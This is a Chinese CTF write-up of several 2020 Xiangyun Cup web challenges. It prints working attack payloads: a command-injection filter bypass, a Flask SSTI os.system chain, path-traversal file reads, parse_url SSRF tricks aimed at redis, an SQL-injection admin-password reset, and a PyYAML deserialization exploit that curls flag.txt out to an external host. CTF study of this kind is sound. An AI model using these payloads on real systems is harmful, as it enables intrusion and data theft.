2020祥云杯web题解

祥云杯web题解

Command

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |\\$|python|sh|nc|tac|rev|more|tailf|index|php|head|nl|tail|less|cat|ruby|perl|bash|rm|cp|mv|\*|\{)/i", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no no no!')
window.location.href='index.php';</script>");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no flag!')
window.location.href='index.php';</script>");
}
$a = shell_exec("ping -c 4 ".$ip);
}

测试发现过滤了:',$,&,*,;,>,],{, ,
利用%09来绕过对空格的过滤

1
http://eci-2ze5a6nc0glncs99tzta.cloudeci1.ichunqiu.com/?url=-h|`echo%09WTJGMElDOWxkR012TG1acGJtUm1iR0ZuTDJac1lXY3VkSGgw|base64%09-d|base64%09-d`

flaskbot

测试一波发现输入点都没有ssti,并且开着报错

我们利用报错来拿源码

最关键的源码render_template_string(guessNum(num,name)) 是直接访问不存在界面得到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@app.route('/',methods=['POST','GET'])
def Hello():
if request.method == "POST":
user = request.form['name']
resp = make_response(render_template("guess.html",name=user))
resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
return resp
else:
user=request.cookies.get('user')
if user == None:
return render_template("index.html")
else:
user=user.encode('utf-8')
return render_template("guess.html",name=base64.urlsafe_b64decode(user))


@app.route('/guess',methods=['POST'])
def Guess():
user=request.cookies.get('user')

if user==None:
return redirect(url_for("Hello")
user=user.encode('utf-8')
name = base64.urlsafe_b64decode(user)
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"

else:
return render_template_string(guessNum(num,name))#直接提醒我们这里存在ssti注入

@app.errorhandler(404)
def miss(e):
return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404

if __name__ == '__main__':
f_handler=open('/var/log/app.log', 'w')
sys.stderr=f_handler
app.run(debug=True, host='0.0.0.0',port=8888

看一下回显很容易得知bot利用二分法来猜数据,如果一定次数内bot没猜出来就是我们赢,正常的数据基本是不行的。

我们看下他得到数字的过程:

1
2
3
4
5
6
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"

字符串转数值且小于0大于1000000000.0

阅读python文档https://docs.python.org/3.2/library/stdtypes.html#numeric-types-int-float-complex,我们看到一个这样的浮点数:` float also accepts the strings “nan” and “inf” with an optional prefix “+” or “-” for Not a Number (NaN) and positive or negative infinity. `

且nan<0,nan>1000000000.0都为false,这样他的二分法永远猜不到了

然后修改name进行ssti

1
{{"".__class__.__mro__[2].__subclasses__()[258].__init__.__getattribute__("__globals__")["\\x6f\\x73"].__getattribute__("\\x73ystem")("whoami")}}

easygogogo

题目有三个接口,登入,查看上传文件,上传文件

测试上传文件接口发现,可以直接路径穿越

测试查看上传文件接口发现,可以任意文件读取,但是你得有cookie(通过文件上传生成)

/proc/self/cmdline

1
HOSTNAME=engine-1 HOME=/root OLDPWD=/root TERM=xterm PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin GOPATH=/go PWD=/go GOLANG_VERSION=1.15.5

刚开始去读/etc/passwd发现,啥都没有,但是读/proc/self/cmdline就有东西,然后猜测了下这是root权限启动的

由于重启docker环境并不是让cookie的salt发生改变,所以,如果用之前生成好的cookie(如果是root权限/etc/passwd被覆盖)去获得新docker的/etc/passwd有内容的话就说明是root权限,没有的话就是其他原因

。。。。。

真的是root权限!!!!!

直接读取/root/start.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
flagfile=/flag
if [ ${ICQ_FLAG} ];then
if [ "$flagfile"x = "/flagx" ];then
echo ${ICQ_FLAG} > ${flagfile}
chmod 755 ${flagfile}
else
#sed -i "s/flag{x*}/${ICQ_FLAG}/" $flagfile
sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" $flagfile
#mysql -uroot -proot nXXXX < $flagfile
fi
echo [+] sed flag OK
unset ICQ_FLAG
else
echo [!] no ICQ_FLAG
fi

service cron start&&whoami&&cd /go&&go run src/main.go src/functions.go src/model.go src/routes.go

再去读取/flag,顺便读了下源码:

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package main

import (
"log"
"net/http"
)
func main() {
http.Handle("/uploads/", http.StripPrefix("/uploads/", http.FileServer(http.Dir("uploads/"))))
http.Handle("/statics/", http.StripPrefix("/statics/", http.FileServer(http.Dir("statics/"))))
http.HandleFunc("/index", index)
http.HandleFunc("/", index)
http.HandleFunc("/login", login)
http.HandleFunc("/upload", upload)
http.HandleFunc("/show", show)
http.HandleFunc("/home", home)
err := http.ListenAndServe(":80", nil)
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}

src/functions.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package main

import (
"bytes"
"crypto/md5"
"encoding/base64"
"encoding/gob"
"encoding/hex"
"net/http"
"os"
"time"
)

func PathExists(path string) (bool, error) {
_, err := os.Stat(path)
if err == nil {
return true, nil
}
if os.IsNotExist(err) {
return false, nil
}
return false, err
}
func fileExist(filename string) bool {
_, err := os.Stat(filename)
return err == nil || os.IsExist(err)
}
func Md5(s string) string {
h := md5.New()
h.Write([]byte(s))
return hex.EncodeToString(h.Sum(nil))
}
func getCookie(r *http.Request) interface{}{
cookie, err := r.Cookie("cookie")
if err==nil{
return cookie.Value
}else{
return nil
}
}
func setCookie(w http.ResponseWriter,r *http.Request,value string){
expiration := time.Now()
expiration = expiration.AddDate(1, 0, 0)
// fmt.Println(value)
cookie := http.Cookie{Name: "cookie", Value: value, Expires: expiration}
http.SetCookie(w, &cookie)
}
func serialize(instance Users) []byte{
// fmt.Println(instance.Username)
var result bytes.Buffer
encoder := gob.NewEncoder(&result)
encoder.Encode(instance)
userBytes := result.Bytes()
// fmt.Printf("%s",userBytes)
return userBytes
}
func unseralize(data []byte) Users{
var account Users
decoder := gob.NewDecoder(bytes.NewReader(data))
decoder.Decode(&account)
return account
}

func cookieEncode(data []byte) string{
// fmt.Printf("%s",data)
return base64.StdEncoding.EncodeToString(data)
}
func cookieDecode(data string) []byte{
bytesData, _ := base64.StdEncoding.DecodeString(data)
return bytesData
}

src/model.go

1
2
3
4
5
6
7
8
9
package main

type Users struct{
Username string
Password string
Filename string
Sign string
}
var salt="123123adsdasr123sdfkaadls"

src/routes.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
package main

import (
"encoding/base64"
"fmt"
"html/template"
"io"
"net/http"
"os"
"strings"
)
//Route:upload
func upload(w http.ResponseWriter, r *http.Request) {
r.Body = http.MaxBytesReader(w, r.Body, 32<<16)
ip := strings.Split(r.RemoteAddr, ":")[0]
if getCookie(r)!=nil{
UserData:=unseralize(cookieDecode(getCookie(r).(string)))
if r.Method == "GET" {
t, _ := template.ParseFiles("upload.gtpl")
t.Execute(w,nil)
} else {
path:="./uploads/"+Md5(ip)
tmp,_:=PathExists(path)
if !tmp{
err:= os.Mkdir(path, os.ModePerm)
if err!=nil{
fmt.Printf("failed")
}
}
r.ParseMultipartForm(32 << 20)
file, handler, err := r.FormFile("uploadfile")
if err != nil {
fmt.Println(err)
return
}
defer file.Close()
f, err := os.OpenFile("./uploads/"+Md5(ip)+"/"+handler.Filename, os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0777)
if err != nil {
fmt.Fprint(w,err)
return
}
defer f.Close()
io.Copy(f, file)
UserData.Filename="./uploads/"+Md5(ip)+"/"+handler.Filename
UserData.Sign=Md5(UserData.Filename+salt)
setCookie(w,r,cookieEncode((serialize(UserData))))
fmt.Fprint(w,UserData)
fmt.Fprint(w,"上传成功:"+handler.Filename)
return
}
}else{
fmt.Fprint(w,"<script>alert('Login first my baby');</script>")
return
}
}

//Route:/index || /
func index(w http.ResponseWriter, r *http.Request) {
t, _ := template.ParseFiles("index.gtpl")
t.Execute(w,nil)
return
}

//Route:/login
func login(w http.ResponseWriter, r *http.Request) {
if r.Method=="POST"{
r.ParseForm()
if r.Form["username"]==nil && r.Form["password"]==nil{
fmt.Fprint(w,"username and password is required")
return
}
User:=Users{
Username: r.Form["username"][0],
Password: r.Form["password"][0],
}
setCookie(w,r,cookieEncode(serialize(User)))
fmt.Fprint(w,"<script>window.location.href='/home'</script>")
}else{
fmt.Fprint(w,"Method not allowed")
return
}
}
func home(w http.ResponseWriter,r *http.Request){
if getCookie(r)!=nil {
t, _ := template.ParseFiles("home.gtpl")
t.Execute(w, nil)
}else{
fmt.Fprint(w,"<script>alert('Login first my baby');</script>")
return
}
}

//Route:/show
func show(w http.ResponseWriter, r *http.Request) {
if getCookie(r)!=nil {
UserData:=unseralize(cookieDecode(getCookie(r).(string)))
file:=UserData.Filename
sign:=UserData.Sign
ff, err := os.Open(file)
defer ff.Close()
if err!=nil{
fmt.Println(err)
t, _ := template.ParseFiles("show.gtpl")
t.Execute(w, template.HTML("?????"))
return
}
fmt.Println(sign)
if sign!=Md5(file+salt){
fmt.Fprint(w,"签名失败")
return
}
sourcebuffer := make([]byte, 500000)
n, _ := ff.Read(sourcebuffer)
filedata := base64.StdEncoding.EncodeToString(sourcebuffer[:n])
fmt.Println(filedata)
t, _ := template.ParseFiles("show.gtpl")
t.Execute(w, template.HTML("<img src='data:image/jpeg;base64,"+filedata+"'>"))
}else{
fmt.Fprint(w,"<script>alert('Login first my baby');</script>")
return
}
}

这样应该是非预期把?

doyouknowssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
$parsed = parse_url($url);
$validate_ip = true;
if($parsed['port'] && !in_array($parsed['port'],array('80','443'))){

echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;

return false;
}else{
preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
$long = ip2long($parsed['host']);
if($long===false){
$ip = null;
if($safe){
@putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
$ip = gethostbyname($parsed['host']);
$long = ip2long($ip);
$long===false && $ip = null;
@putenv('RES_OPTIONS');
}
}else{
$ip = $parsed['host'];
}
$ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}

if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;

return false;
}else{
return $url;
}
}


function curl($url){
$safe = false;
if(safe_url($url,$safe)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
}

highlight_file(__FILE__);
curl($_GET['url']);

emmm,这题是原题。https://tyaoo.github.io/2020/08/31/2020-GACTF-web/ ,我是后来才知道的。。。。

绕过端口限制的方法一种是:http://[email protected]:6379%[email protected]/

还有一个是:http:/ctf.ccreater.top:5000/

var_dump(parse_url)

1
2
3
4
5
6
array(2) {
'scheme' =>
string(4) "http"
'path' =>
string(23) "/ctf.ccreater.top:5000/"
}

然后curl去访问是正常的

接下来按着那个wp走发现flask,继续ssrf,发现redis,原本是wp里面的redis主从复制RCE直接打这题的,但是试了好久都没成功,明明有向我发送数据

redis ssrf还有一种RCE方法是写文件,这一题就是这么干的,因为那个wp我一直没往这方面想

然后去看了写redis发现它的版本是2.x主从复制RCE的那个exp是针对3.x和4.x :(

easyzzz

百度一波网上的cve解出这题

简单说下过程

/plugins/webuploader/js/webconfig.php

拿到后台地址 admin539/

https://xz.aliyun.com/t/7414 ,利用前台sql注入修改管理员密码

搭个转发的方便测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
from flask import Flask,request
app = Flask(__name__)


def access(exp):
burp0_url = "http://eci-2ze9cofh8j38ebxctduq.cloudeci1.ichunqiu.com:80/plugins/sms/sms_list.php?act=del"
burp0_cookies = {"Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1604567758,1604568322,1604568358,1605921830", "Hm_lpvt_2d0601bd28de7d49818249cf35d95943": "1606016268", "PHPSESSID": "3fe85864bb4ad1dc9f25e5271281baf9", "__jsluid_h": "85077cc270ca34654c02f2479fcb9390", "zzz254_adminpass": "0"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"id[={exp} ;-- ]".format(exp=exp): "1"}
return requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

@app.route('/')
def hello_world():
payload = request.args.get("exp","")
r=access(payload)
print(payload)
return r.text


app.run()

直接访问:

http://127.0.0.1:5000/?exp=1;replace INTO zzz_user(uid,u_gid, u_lid, u_onoff, u_order, sex, username, password, question, answer, regtime, truename, face, province, city, district, address, post, tel, mobile, email, qq, u_desc, adminrand, lastlogintime, lastloginip, logincount, sysinfo, points, balance) VALUES (1, 1, 1, 1, 0, '%E7%94%B7', 'admin', '1ccbbb718e0e9c3a', '8TBRJ2H5NXW57EVF', 'S8DDQC9YV494G84Q', '', '%E5%88%9B%E5%A7%8B%E4%BA%BA', 'face01.png', '', '', '', '', '', '', '', '', '', '', '6a79122eab1e8abd10bcabd91ebbc36c', '2020/11/22 17:25:13', '127.0.0.1', 6, '', 0, 0);--

修改admin密码为041676

没有写权限,但是我们只要读到flag就好了,利用这个cms的模板渲染机制,修改模板为我们想读的文件/flag,来拿到flag

profile system

一看就是一个flask(它的cookie),文件上传可以目录穿越,猜测后端访问uploads路由是这样的:/uploads/<path:path>
直接读取/uploads/../app.py

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from flask import Flask, render_template, request, flash, redirect, send_file,session,render_template_string
import os
import re
from hashlib import md5
import yaml


app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower()

@app.route("/")
def index():
session['priviledge'] = 'guest'
return "home"

@app.route("/upload", methods=["POST"])
def upload():
file = request.files["file"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
flash('Please upload yaml/yml only.')
return redirect("/")
else:
dirname = md5(request.remote_addr.encode()).hexdigest()
filename = file.filename
session['filename'] = filename
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return os.path.join(dirname, filename)


@app.route("/uploads/<path:path>")
def uploads(path):
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))


@app.route("/view")
def view():
dirname = md5(request.remote_addr.encode()).hexdigest()
realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
if session['priviledge'] =='elite' and os.path.isfile(realpath):
try:
with open(realpath,'rb') as f:
data = f.read()
if not re.fullmatch(b"^[ -\-/-\]a-}\n\r]*$",data, flags=re.MULTILINE):
info = {'user': 'elite-user'}
flash('Sth weird...')
else:
info = yaml.load(data)
if info['user'] == 'Administrator':
flash('Welcome admin!')
else:
raise ()
except :
info = {'user': 'elite-user'}
else:
info = {'user': 'guest'}
return render_template_string("{{user}}",user=info['user'])
#.,^,_,`,~


if __name__ == "__main__":
app.run('0.0.0.0',port=8888,threaded=True)

有了secret我们就可以任意伪造session了

注意到:info = yaml.load(data)

直接使用这个会有个提醒

image16652

百度一下为啥不安全,yaml反序列化注入get

直接抄来一个exp

1
2
3
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('curl -POST mil1\x2eml/jm9 -F x=@flag\x2etxt')"

看下进入info = yaml.load(data) 的前提

re.fullmatch(b"^[ -\-/-\]a-}\n\r]*$",data, flags=re.MULTILINE)

利用regex101读懂这个的意思,其实就是禁止出现

1
.^_`~

这几个字符

这个payload完美符合所有条件

一定要注意payload不能出现\r

总结

python的float类型有两个特殊的值:nan(not a number),inf(infinity,无穷)

php parse_url 小trick

var_dump(parse_url("http:/ctf.ccreater.top:5000/"))

1
2
3
4
5
6
array(2) {
'scheme' =>
string(4) "http"
'path' =>
string(23) "/ctf.ccreater.top:5000/"
}

http://[email protected]:6379%[email protected]/:https://bugs.php.net/bug.php?id=77991

1
2
3
4
5
6
7
8
9
10
11
12
var_dump(parse_url("http://[email protected]:6379%[email protected]"));
php shell code:1:
array(4) {
'scheme' =>
string(4) "http"
'host' =>
string(13) "www.baidu.com"
'user' =>
string(13) "[email protected]"
'pass' =>
string(7) "6379%20"
}

python 中的yaml.load也存在反序列化问题